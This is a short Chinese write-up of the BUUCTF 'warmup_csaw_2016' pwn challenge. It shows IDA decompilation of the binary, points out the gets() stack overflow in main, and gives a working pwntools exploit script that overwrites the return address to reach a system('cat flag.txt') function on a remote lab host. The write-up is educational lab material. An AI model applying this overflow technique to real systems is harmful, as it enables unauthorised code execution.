buuctf PWN warmup_csaw_2016

下载附件,IDA查看

发现直接有显示flag函数

复制代码
int sub_40060D()
{
  return system("cat flag.txt");
}

查看程序起始地址0x40060D

复制代码
; Attributes: bp-based frame

sub_40060D proc near
; __unwind {
push    rbp
mov     rbp, rsp
mov     edi, offset command ; "cat flag.txt"
call    _system
pop     rbp
retn
; } // starts at 40060D
sub_40060D endp

查看main函数

复制代码
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

发现函数gets(v5),是栈溢出

char v5[64]; // [rsp+40h] [rbp-40h] BYREF

看到v5占用64个位置

那就可以改写exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",29692) 
payload=u'A'*64+u'B'*8+p64(0x40060D+1).decode(u"iso-8859-1")
p.sendline(payload)
p.interactive()

运行结果

相关推荐
你真是饿了4 分钟前
7.进程间通信
linux·运维·服务器
TEC_INO6 分钟前
Linux_12:通过多线程获取VENC的H264码流数据
linux·运维·服务器
whatever who cares12 分钟前
Java Web 架构全组件详解
java·前端·架构
maplewen.17 分钟前
C++11 返回值优化
开发语言·c++·面试
好家伙VCC19 分钟前
**标题:发散创新|用Python构建GAN图像生成器:从理论到实战全流程解析**---在深度学习飞速发展的今天,**生成对抗
java·python·深度学习·生成对抗网络
我命由我1234524 分钟前
Android Studio - 在 Android Studio 中直观查看 Git 代码的更改
android·java·开发语言·git·java-ee·android studio·android jetpack
hewence124 分钟前
Kotlin协程启动方式详解
android·开发语言·kotlin
苏荷水27 分钟前
万字总结LeetCode100(持续更新...)
java·算法·leetcode·职场和发展
gihigo199839 分钟前
MATLAB运动估计基本算法详解
开发语言·算法·matlab
不光头强1 小时前
SpringBoot 开发第三天 学习内容
java·spring boot·学习